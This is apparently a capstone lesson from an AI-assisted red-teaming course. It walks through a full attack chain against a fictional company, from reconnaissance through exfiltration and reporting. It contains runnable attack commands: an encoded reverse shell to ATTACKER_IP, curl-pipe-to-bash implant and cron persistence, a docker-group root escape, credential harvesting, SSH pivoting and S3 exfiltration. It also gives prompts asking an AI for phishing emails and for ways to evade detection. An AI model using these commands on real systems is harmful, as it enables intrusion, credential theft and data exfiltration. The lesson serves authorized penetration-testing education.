Combining every technique from Lessons 1–9 into a unified, end-to-end red team operation — powered by AI at every stage.
This capstone combines all offensive techniques from the course. These skills are for authorized penetration testing engagements and CTF competitions ONLY. Real-world attacks without authorization carry severe legal consequences.
Every lesson has built a piece of the puzzle. Now we assemble the full picture.
| Lesson | Capability Gained |
|---|---|
| 1 — OSINT | Reconnaissance & target profiling with AI |
| 2 — Scanning | Network & vulnerability discovery |
| 3 — Web Attacks | Web application exploitation |
| 4 — Cryptography | Breaking ciphers & crypto weaknesses |
| 5 — Binary/RE | Reverse engineering & binary exploitation |
| 6 — Privilege Escalation | Escalating access on compromised hosts |
| 7 — Social Engineering | Human-layer attacks & phishing |
| 8 — Forensics | Anti-forensics & covering tracks |
| 9 — AI Exploitation | Attacking AI/ML systems themselves |
Developed by Lockheed Martin, the Cyber Kill Chain models the stages of a targeted intrusion. Defenders use it to identify gaps; attackers use it as an operational playbook.
While the Kill Chain is linear, MITRE ATT&CK is a knowledge base of adversary tactics and techniques observed in real-world intrusions. It provides a common language for red and blue teams.
| Tactic (Why) | Example Techniques (How) |
|---|---|
| Reconnaissance | Active scanning, search open websites |
| Resource Development | Acquire infrastructure, develop capabilities |
| Initial Access | Phishing, exploit public-facing app, valid accounts |
| Execution | Command-line interface, scripting, user execution |
| Persistence | Cron jobs, registry run keys, implant |
| Privilege Escalation | Sudo misconfig, SUID abuse, kernel exploits |
| Defense Evasion | Obfuscation, log deletion, timestomping |
| Credential Access | Brute force, credential dumping, keylogging |
| Lateral Movement | SSH hijacking, pass-the-hash, RDP |
| Collection & Exfiltration | Data staged, exfil over C2 or alt protocol |
In this capstone, we use the Kill Chain for planning and ATT&CK for reporting.
AI is not a magic button — it is a force multiplier that accelerates each phase of the kill chain.
| Kill Chain Stage | AI Capability |
|---|---|
| Reconnaissance | Correlate OSINT data, identify patterns, generate dorks |
| Weaponization | Generate payloads, obfuscate code, craft exploits |
| Delivery | Write phishing content, design pretexts |
| Exploitation | Analyze vulnerabilities, adapt exploits to targets |
| Installation | Design persistence mechanisms, create implants |
| C2 | Suggest evasive channels, analyze traffic patterns |
| Actions on Objectives | Identify high-value data, plan exfil routes |
Let us walk through a complete, realistic red team engagement against a fictional target: MegaCorp Industries.
ATT&CK Tactic: TA0043 — Gathering information to plan future operations.
megacorp.com, megacorp.io, megacorp-dev.internalstaging.megacorp.com, jenkins.megacorp.io# AI correlates OSINT into an attack surface profile
prompt = """Analyze these OSINT findings for MegaCorp:
- Subdomains: staging.megacorp.com, jenkins.megacorp.io, vpn.megacorp.com
- Tech stack: Django 3.2, Jenkins 2.346, AWS (us-east-1)
- Employees: 3 R&D engineers on LinkedIn with GitHub profiles
- Breached credentials: 12 entries in HaveIBeenPwned
Identify the 3 highest-priority attack vectors and explain why."""
The AI correlates findings and produces a prioritized target list.
Jenkins 2.346 has known CVEs (CVE-2022-xxxxx). If unauthenticated, script console = instant RCE. Even authenticated, breached credentials may grant access.
Staging servers are often less hardened. Django 3.2 with debug mode possibly enabled. May contain valid credentials for production.
R&D engineers with public repos may have committed secrets, API keys, or internal documentation. Check commit history.
ATT&CK: T1595 — Moving from passive to active reconnaissance.
# Comprehensive port scan with service detection
nmap -sV -sC -O -p- --min-rate 1000 megacorp.com -oA megacorp_full
# Results (key findings):
# 22/tcp open ssh OpenSSH 8.2p1
# 80/tcp open http nginx 1.18.0
# 443/tcp open https nginx 1.18.0
# 8080/tcp open http Jenkins 2.346
# 8443/tcp open https Django (staging)
# Web technology fingerprinting
whatweb https://megacorp.com https://staging.megacorp.com
# Directory brute-force on staging
gobuster dir -u https://staging.megacorp.com \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x py,json,env,bak -t 50
AI processes Nmap XML output and flags the most exploitable services with recommended next steps.
ATT&CK Tactic: TA0001 — Gaining an initial foothold in the target environment.
Based on recon, we pursue two parallel paths:
Test breached credentials against Jenkins login. If successful, use Groovy script console for RCE.
ATT&CK: T1078 (Valid Accounts) + T1059 (Command Execution)
Target R&D engineer with crafted email containing weaponized document themed around conference CFP.
ATT&CK: T1566.001 (Spearphishing Attachment)
Pursuing multiple vectors simultaneously increases the probability of success and mimics real APT behavior.
Breached credential jsmith:Summer2023! works against Jenkins. The Groovy script console is accessible.
// Jenkins Groovy Script Console — test RCE
def cmd = "id; hostname; cat /etc/os-release"
def proc = cmd.execute()
println proc.text
// Output:
// uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins),999(docker)
// megacorp-ci-01
// Ubuntu 22.04.2 LTS
prompt = """I have Groovy script console access on Jenkins
running as uid=1000 in the docker group on Ubuntu 22.04.
Generate a reverse shell payload that:
1. Avoids writing to disk (fileless)
2. Uses an encrypted channel
3. Is compatible with my C2 framework (Sliver)"""
Simultaneously, we target an R&D engineer via spear phishing (Lesson 7 techniques).
prompt = """Create a spear phishing email for an R&D engineer at
a manufacturing company. Context:
- Target: Sarah Chen, Senior R&D Engineer
- Interest: Published paper on industrial IoT at DEF CON IoT Village
- Pretext: Conference committee invitation to review submissions
- Payload: Link to a credential harvesting page mimicking EasyChair
Make it personalized, professional, and urgency-driven."""
Real APTs operate on multiple fronts. If Jenkins is patched before we achieve persistence, the phishing vector provides a backup. Redundancy is operational resilience.
ATT&CK Tactic: TA0002 — Running attacker-controlled code on the target system.
# Fileless reverse shell via Jenkins Groovy console
# Encoded payload to avoid basic detection
import base64
payload = "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
encoded = base64.b64encode(payload.encode()).decode()
groovy_cmd = f"""
def cmd = "bash -c {{echo,{encoded}}}|{{base64,-d}}|{{bash,-i}}"
def proc = ['bash', '-c', cmd].execute()
"""
# Establish Sliver C2 beacon instead of raw shell
# Generate implant with: sliver > generate --mtls ATTACKER_IP:8888
# Deliver via: curl https://ATTACKER_IP/implant | bash
Ask AI to analyze the payload against common detection rules (YARA, Sigma) and suggest obfuscation techniques to bypass EDR.
ATT&CK Tactic: TA0003 — Maintaining access across reboots and credential changes.
~/.ssh/authorized_keys# Persistence via cron — disguised as log rotation
(crontab -l 2>/dev/null; echo "*/15 * * * * /usr/bin/curl -s \
https://cdn-assets.legit-domain.com/analytics.sh | bash") | crontab -
# Persistence via SSH key injection
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5... ops@redteam" \
>> /home/jenkins/.ssh/authorized_keys
# Persistence via systemd (if we escalate to root)
cat > /etc/systemd/system/syslog-ng-helper.service << 'EOF'
[Unit]
Description=Syslog NG Helper Daemon
After=network.target
[Service]
ExecStart=/opt/.cache/syshelper
Restart=always
[Install]
WantedBy=multi-user.target
EOF
AI helps craft persistence that blends with the target environment.
prompt = """I have a shell on an Ubuntu 22.04 Jenkins CI server.
The server runs Docker containers and has these legitimate services:
- jenkins, docker, nginx, cron, systemd-resolved
Design 3 persistence mechanisms that:
1. Blend with existing services (naming, locations, behavior)
2. Survive reboots
3. Have different trigger mechanisms (time-based, event-based, manual)
4. Are resilient — if one is found and removed, others survive
For each, explain how a defender might detect it and how to
make detection harder."""
By asking AI to also model the defender's perspective, we create persistence that is harder to detect. This dual-perspective approach is what separates good red teams from great ones.
ATT&CK Tactic: TA0004 — Gaining higher-level permissions on the compromised system.
# Jenkins user is in the docker group — trivial root escalation
# Mount the host filesystem into a container
docker run -v /:/hostfs -it ubuntu:22.04 chroot /hostfs bash
# We are now root on the host system
root@megacorp-ci-01:/# id
uid=0(root) gid=0(root) groups=0(root)
# Harvest credentials from the host
cat /etc/shadow
cat /root/.ssh/id_rsa
find / -name "*.env" -o -name "credentials*" 2>/dev/null
prompt = """I have root access on a Jenkins CI/CD server.
What are the highest-value credential stores to check?
Consider: Jenkins credentials.xml, Docker configs,
environment variables, AWS metadata, Git configs,
browser profiles, SSH keys, and service accounts."""
CI/CD servers are treasure troves of credentials. Here is what we find on the Jenkins host.
| Credential | Source | Value |
|---|---|---|
| AWS Access Keys | Jenkins credentials.xml | Access to S3, EC2 in us-east-1 |
| SSH Private Key | /root/.ssh/id_rsa | Access to 4 internal servers |
| Database Password | .env file in project dir | PostgreSQL production DB |
| GitLab API Token | Git credential store | Full repo access (R&D code) |
| Slack Webhook | Jenkins pipeline config | Post to internal channels |
Jenkins, GitHub Actions, GitLab CI — these systems often hold the keys to the kingdom. Securing CI/CD pipelines is one of the most impactful defensive investments an org can make.
ATT&CK Tactic: TA0008 — Moving through the environment toward our objective.
# Internal network discovery
ip addr show # 10.10.0.50/24
arp -a # Discover neighboring hosts
cat /etc/hosts # Internal DNS entries
# SSH with harvested key to internal hosts
ssh -i /root/.ssh/id_rsa admin@10.10.0.10 # DB server
ssh -i /root/.ssh/id_rsa admin@10.10.0.20 # App server
ssh -i /root/.ssh/id_rsa admin@10.10.0.30 # File server
ssh -i /root/.ssh/id_rsa admin@10.10.0.40 # R&D workstation
Attacker → Jenkins (10.10.0.50) → DB Server (10.10.0.10) → App Server (10.10.0.20)
↓
R&D Workstation (10.10.0.40) ← TARGET
The R&D workstation is on a separate VLAN (10.10.1.0/24), but the file server bridges both networks.
# Pivot through file server (10.10.0.30) which has dual NICs
# Set up SSH tunnel for access to R&D VLAN
ssh -i /root/.ssh/id_rsa -D 1080 admin@10.10.0.30
# Use proxychains to route through the tunnel
proxychains nmap -sT -p 22,80,443,3389,5432 10.10.1.0/24
# Discovered: 10.10.1.15 (R&D file share - SMB)
# 10.10.1.20 (R&D GitLab instance)
# 10.10.1.40 (R&D workstation - Sarah Chen)
prompt = """Given this network topology and these credentials,
plan the optimal pivot path to reach the R&D GitLab server
at 10.10.1.20 while minimizing detection. Consider:
- Which credentials to reuse vs. attempt new authentication
- SOCKS proxy vs. SSH tunnel vs. port forwarding
- Minimizing the number of hops for operational stability"""
The harvested AWS access keys open a parallel attack path through the cloud.
# Enumerate AWS access with harvested keys
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
# Who am I?
aws sts get-caller-identity
# arn:aws:iam::123456789012:user/jenkins-deploy
# What can I do?
aws iam list-attached-user-policies --user-name jenkins-deploy
# AmazonS3FullAccess, AmazonEC2ReadOnlyAccess
# Enumerate S3 buckets
aws s3 ls
# 2024-01-15 megacorp-backups
# 2024-03-22 megacorp-rd-artifacts
# 2024-06-01 megacorp-prod-logs
# Check R&D artifacts bucket
aws s3 ls s3://megacorp-rd-artifacts/ --recursive | head -20
Modern red team operations span both on-prem and cloud. The credentials from a single CI/CD server opened access to the entire S3 estate, including R&D artifacts.
ATT&CK Tactic: TA0005 — Avoiding detection at every stage.
| Technique | Implementation |
|---|---|
| Timestomping (T1070.006) | touch -r /bin/ls /opt/.cache/syshelper |
| Log Evasion (T1070.002) | Clear specific entries, not entire logs |
| Living off the Land | Use curl, ssh, python3 — tools already present |
| Encrypted C2 (T1573) | mTLS beacon via Sliver on port 443 |
| Process Injection (T1055) | Inject into legitimate nginx worker process |
| Traffic Blending | C2 traffic mimics HTTPS to cloud CDN |
prompt = """Review this Sigma rule for detecting SSH lateral movement:
[rule content]
How can I modify my SSH tunneling approach to avoid triggering
this detection? What legitimate traffic patterns should I mimic?"""
ATT&CK Tactics: TA0009 & TA0010 — Identifying and extracting target data.
# Access R&D GitLab with harvested API token
curl -H "PRIVATE-TOKEN: glpat-xxxxxxxxxxxx" \
"https://10.10.1.20/api/v4/projects" | jq '.[].name'
# "industrial-iot-firmware"
# "sensor-calibration-ml"
# "patent-pending-process-v2" <-- HIGH VALUE TARGET
# Clone the target repository
git clone https://oauth2:glpat-xxxxxxxxxxxx@10.10.1.20/rd/patent-pending-process-v2.git
# Stage data for exfiltration (compress + encrypt)
tar czf /tmp/.cache.tar.gz patent-pending-process-v2/
openssl enc -aes-256-cbc -pbkdf2 -in /tmp/.cache.tar.gz \
-out /tmp/.cache.dat -pass pass:REDTEAM2024
Multiple exfiltration methods, ranked by stealth.
| Method | Stealth | Speed | Detection Risk |
|---|---|---|---|
| DNS Tunneling (T1048.003) | High | Slow | Unusual DNS query length/volume |
| HTTPS to Cloud Storage (T1567.002) | High | Fast | Blends with legitimate traffic |
| Over C2 Channel (T1041) | Medium | Medium | Volume anomaly on C2 beacon |
| Cloud Transfer (S3 to S3) | High | Fast | Cloud-native, hard to monitor |
# Chosen method: S3 to attacker-controlled S3 bucket
# Uses the legitimate AWS keys — looks like normal S3 operations
aws s3 cp /tmp/.cache.dat s3://megacorp-backups/.tmp/.cache.dat
# Then from attacker infrastructure:
aws s3 cp s3://megacorp-backups/.tmp/.cache.dat ./loot/ \
--profile attacker-account
The full path from external attacker to R&D exfiltration:
OPSEC is the discipline of preventing adversary detection of your operations. For red teamers, it means staying undetected long enough to complete objectives.
prompt = """Review my red team operation plan for OPSEC weaknesses:
- C2: Sliver mTLS beacon on port 443, callback every 60s
- Infrastructure: Single DigitalOcean VPS for all operations
- Exfil: Direct S3 transfer using target's AWS keys
- Scanning: Full nmap scan at 1000 packets/sec
Identify the top 5 OPSEC risks and suggest mitigations."""
Using AI tools during red team operations introduces its own OPSEC considerations.
The report is the most important deliverable of any red team engagement. AI dramatically accelerates professional report creation.
# Generate executive summary from technical notes
prompt = """Convert these technical red team notes into a
professional executive summary for C-suite readers:
NOTES:
- Gained access via reused credentials on Jenkins CI server
- Escalated to root via Docker group membership
- Pivoted to R&D network through dual-homed file server
- Accessed patent-pending repository via stolen GitLab token
- Could exfiltrate all R&D IP via compromised AWS S3 access
Requirements:
- No jargon — explain business impact
- Quantify risk where possible
- Under 200 words
- Include 3 key recommendations"""
Each finding should follow a consistent template with ATT&CK mapping.
| Severity | Critical (CVSS 9.8) |
| ATT&CK Technique | T1078 — Valid Accounts |
| Description | Breached corporate credentials provided administrative access to the Jenkins CI/CD server, which contained credentials for multiple internal systems and cloud services. |
| Impact | Complete compromise of CI/CD pipeline, enabling lateral movement to R&D network and cloud infrastructure. |
| Evidence | Screenshot of Jenkins dashboard access, Groovy console RCE output (see Appendix A) |
| Recommendation | 1) Enforce MFA on all externally-accessible services. 2) Implement credential rotation policy. 3) Monitor for breached credentials proactively. |
Combining all lessons into a repeatable framework.
| Phase | Lesson | AI Role | Key Tools |
|---|---|---|---|
| Recon | 1, 2 | Correlate & prioritize | theHarvester, Nmap, Shodan |
| Initial Access | 3, 7 | Craft payloads & pretexts | Burp Suite, Gophish |
| Exploitation | 3, 4, 5 | Analyze vulns, generate exploits | Metasploit, custom scripts |
| Post-Exploit | 6 | Find priv-esc paths | LinPEAS, Docker escape |
| Evasion | 8 | Anti-forensics, obfuscation | Sliver, custom C2 |
| AI Targets | 9 | Attack AI/ML systems | Prompt injection, model theft |
| Full Chain | 10 | Plan, execute, report | All of the above |
Execute a full attack chain against this target environment — from OSINT to exfiltration — using AI at every step.
This is a controlled lab environment. All IPs, domains, and data are fictional. Do NOT apply these techniques outside the provided lab infrastructure.
You must complete and document all seven phases.
| Category | Points | Criteria |
|---|---|---|
| Reconnaissance | 10 | Thorough OSINT, attack surface map, AI-generated prioritization |
| Initial Access | 15 | Successful foothold, clean exploitation, AI-assisted payload |
| Persistence | 10 | 2+ mechanisms, stealth, survives reboot |
| Privilege Escalation | 10 | Root/admin achieved, method documented |
| Lateral Movement | 15 | 2+ hosts, reached R&D VLAN, clean pivots |
| Exfiltration | 10 | Flag captured, stealthy method, encrypted transit |
| AI Integration | 10 | AI used meaningfully at each phase (not just for show) |
| OPSEC | 10 | Thoughtful OPSEC analysis, mitigations applied |
| Report Quality | 10 | Professional format, ATT&CK mappings, actionable recommendations |
| TOTAL | 100 | Passing: 70+ | Distinction: 90+ |
The capstone tests not just hacking skill but operational thinking. Can you plan, execute, adapt, and communicate a complete operation? This is what separates penetration testers from red team operators.
You now have a foundation in AI-assisted offensive security. Here is how to keep growing.
The skills you have learned are powerful. Use them to defend, improve, and protect. The best red teamers make blue teams stronger.
This capstone combines all offensive techniques from the course. These skills are for authorized penetration testing engagements and CTF competitions ONLY. Real-world attacks without authorization carry severe legal consequences.
AI is transforming offensive security just as it is transforming every other field. The practitioners who combine deep technical knowledge with AI fluency will define the next generation of cybersecurity.
Good luck on the capstone. Go break things (with permission).